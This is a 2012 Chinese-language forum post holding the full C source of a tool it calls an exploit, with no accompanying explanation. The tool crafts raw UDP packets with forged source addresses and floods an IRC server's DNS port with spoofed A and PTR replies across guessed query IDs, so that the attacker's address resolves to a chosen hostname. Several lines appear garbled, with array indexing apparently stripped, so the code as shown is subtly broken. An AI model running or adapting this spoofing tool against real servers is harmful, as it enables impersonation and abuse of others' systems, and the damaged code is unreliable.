沙夏君 10 發表於 February 4, 2012 檢舉 Share 發表於 February 4, 2012 #include <stdio.h>#include <unistd.h>#include <stdarg.h>#include <stdlib.h>#include <sys/types.h>#include <sys/socket.h>#include <netdb.h>#include <netinet/in.h>#include <arpa/inet.h>#include <string.h>#include <errno.h>#include <time.h>#ifndef u8#define u8 unsigned char#endif#ifndef u16#define u16 unsigned short#endif#ifndef u32#define u32 unsigned long#endifstruct dns_header {u16 id;u16 flags;u16 questions;u16 answer_rr;u16 auth_rr;u16 extra_rr;} __attribute__((packed));struct dns_data {u16 name;u16 type;u16 class;u16 ttlh;u16 ttl;u16 data_len;char *data;} __attribute__((packed));struct dns_packet {size_t len;u8 type;char *data;};struct dns_query {size_t len;char *data;};struct ip_header {u8 ihl:4,version:4;u8 tos;u16 tot_len;u16 id;u16 frag_off;u8 ttl;u8 protocol;u16 check;u32 saddr;u32 daddr;};struct udp_header {u16 source;u16 dest;u16 len;u16 check;};#define DNS_A 0x0001#define DNS_PTR 0x000cstruct udp_packet {struct ip_header iph;struct udp_header udph;};void usage() {fprintf(stderr, "usage: ./exploit <ircd ip> <ircd dns port> <ircd dns ip> ""<your ip> <spoof host> <dns id>\n");exit(-1);}void fatal(char *reason) {fprintf(stderr, "fatal: %s\n", reason);exit(-1);}unsigned short csum(unsigned short *addr, int len) {register int sum = 0;u_short answer = 0;register u_short *w = addr;register int nleft = len;while (nleft > 1) {sum += *w++;nleft -= 2;}if (nleft == 1) {*(u_char *)(&answer) = *(u_char *)w ;sum += answer;}sum = (sum >> 16) + (sum & 0xffff);sum += (sum >> 16);answer = ~sum;return(answer);}struct udp_packet *alloc_packet(size_t datalen) {struct udp_packet *packet;struct ip_header *iph;struct udp_header *udph;if(!(packet = calloc(1, sizeof(struct udp_packet) + datalen)))fatal("error: allocating udp packet");iph = &packet->iph;udph = &packet->udph;iph->ihl = 5;iph->version = 4;iph->tos = 0;iph->tot_len = sizeof(struct udp_packet) + datalen;iph->id = htonl(0xbeef);iph->frag_off = 0;iph->ttl = 255;iph->protocol = 17;udph->len = htons(sizeof(struct udp_header) + datalen);return(packet);}void init_packet(long source, int sport, long dest, int port,struct udp_packet *udp_packet,struct dns_packet *dns_packet) {struct ip_header *iph;struct udp_header *udph;char *data;iph = &udp_packet->iph;udph = &udp_packet->udph;iph->saddr = source;iph->daddr = dest;iph->check = csum((unsigned short *)iph, sizeof(struct ip_header));udph->check = 0;udph->source = htons(sport);udph->dest = htons(port);data = (char *)udp_packet + sizeof(struct udp_packet);memcpy(data, &dns_packet->data, dns_packet->len);}char *dns_string_format(char *out, char *in) {int i, x;for(i = strlen(in) - 1, x = 0; i > -1; i--, x++) {if(in == '.') {out = x;x = -1;} elseout = in;}out = x;return(out);}struct dns_packet *alloc_dns_packet(char *query_data, size_t qlen,char *answer_data, int type) {struct dns_packet *dns_packet;struct dns_header *dns_header;struct dns_data *dns_data;char *query,*answer;size_t totlen,alen;if(type == DNS_A)alen = 4;elsealen = strlen(answer_data);totlen = sizeof(struct dns_header) +qlen +sizeof(struct dns_data) - sizeof(char *) + alen +((type == DNS_A) ? 0 : 2);if((dns_packet = calloc(1, totlen + sizeof(size_t) + 1 +sizeof(char *))) == NULL)fatal("failed alloc");dns_packet->len = totlen;dns_header = (struct dns_header *) &dns_packet->data;query = (char *) &dns_packet->data +sizeof(struct dns_header);dns_data = (struct dns_data *) (query + qlen);answer = (char *) &dns_data->data +((type == DNS_A) ? 0 : 1);dns_header->flags = htons(0x8180);dns_header->questions = htons(1);dns_header->answer_rr = htons(1);dns_header->auth_rr = htons(0);dns_header->extra_rr = htons(0);memcpy(query, query_data, qlen);dns_data->name = htons(0xc00c);dns_data->type = htons(type);dns_data->class = htons(1);dns_data->ttl = htons(300);dns_data->data_len = htons(alen + ((type == DNS_A) ? 0 : 1));if(type == DNS_A)memcpy(answer, &answer_data, 4);elsedns_string_format(answer, answer_data);return(dns_packet);}struct dns_query *alloc_dns_query(char *query, int qtype) {struct dns_query *dns_query;size_t qlen;int i, x = 0;char *p;char *data;u16 *type,*class;qlen = 1 + strlen(query) + 1 + 2 + 2;if((dns_query = (struct dns_query *)calloc(1, sizeof(size_t) + qlen)) == NULL)fatal("fatal alloc\n");dns_query->len = qlen;data = (char *) &dns_query->data + 1;type = (u16 *) (data + strlen(query) + 1);class = (u16 *) type + 1;dns_string_format(data, query);*type = htons(qtype);*class = htons(1);return(dns_query);};int send_packet(struct in_addr src, u16 sport,struct in_addr dst, u16 dport,struct udp_packet *udp_packet,struct dns_packet *dns_packet, u32 dns_id) {struct sockaddr_in sin;struct dns_header *dns_header;int s, olen;unsigned char *p;int i;dns_header = (struct dns_header *) &dns_packet->data;dns_header->id = htons(dns_id);init_packet(src.s_addr, sport, dst.s_addr, dport, udp_packet, dns_packet);sin.sin_family = AF_INET;sin.sin_addr = dst;sin.sin_port = htons(sport);if((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {fprintf(stderr, "%s: ERROR send_packet() -> socket()\n", inet_ntoa(dst));return(s);}if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &olen, sizeof(olen)) < 0)fprintf(stderr, "ERROR: could not set socket option IP_HDRINCL.\n");while(sendto(s, udp_packet, sizeof(struct udp_packet) + dns_packet->len, 0,(struct sockaddr *)&sin, sizeof(sin)) < 0) {if(errno == ENOBUFS)usleep(50);else {fprintf(stderr, "%s: send_packet() -> sendto() [%d]\n", inet_ntoa(dst), errno);close(s);return(-1);}}close(s);}void do_spoof(struct in_addr src, u16 sport,struct in_addr dst, u16 dport,struct in_addr me, char *answer, u16 dns_id) {struct udp_packet *udp_packet_A,*udp_packet_PTR;struct dns_packet *dns_packet_A,*dns_packet_PTR;struct dns_query *dns_query_A,*dns_query_PTR;char query[255];int i;printf("dns_id = %d\n", dns_id);snprintf(query, sizeof(query) - 1,"%d.%d.%d.%d.in-addr.arpa",(me.s_addr >> 24),(me.s_addr >> 16) & 0xff,(me.s_addr >> 8) & 0xff,(me.s_addr ) & 0xff);dns_query_A = alloc_dns_query(answer, DNS_A);dns_packet_A = alloc_dns_packet((char *)&dns_query_A->data,dns_query_A->len,(char *)me.s_addr, DNS_A);udp_packet_A = alloc_packet(dns_packet_A->len);dns_query_PTR = alloc_dns_query(query, DNS_PTR);dns_packet_PTR = alloc_dns_packet((char *)&dns_query_PTR->data,dns_query_PTR->len, answer, DNS_PTR);udp_packet_PTR = alloc_packet(dns_packet_PTR->len);for(i = 0; ; i++) {send_packet(src, sport, dst, dport, udp_packet_A, dns_packet_A, dns_id + i);send_packet(src, sport, dst, dport, udp_packet_PTR, dns_packet_PTR, dns_id + i);usleep(50);if(i > 3)i = 0;}}long resolve(char *host) {struct in_addr ip;struct hostent *he;if((ip.s_addr = inet_addr(host)) == -1) {if(!(he = gethostbyname(host)))return(-1);elsememcpy(&ip.s_addr, he->h_addr, 4);}return(ip.s_addr);}int main(int argc, char *argv[]) {int i, dns_port, dns_id;struct in_addr ircd,ircd_ns,me;char *spoof_host;if(argc < 6)usage();if((ircd.s_addr = resolve(argv[1])) == -1)fatal("ircd host invalid");dns_port = atoi(argv[2]);if((ircd_ns.s_addr = resolve(argv[3])) == -1)fatal("ircd dns host invalid");if((me.s_addr = resolve(argv[4])) == -1)fatal("my host invalid");spoof_host = argv[5];dns_id = atoi(argv[6]);do_spoof(ircd_ns, 53, ircd, dns_port, me, spoof_host, dns_id);} 鏈接文章 分享到其他網站
Recommended Posts
請登入後來留意見
在登入之後,您才能留意見
立即登入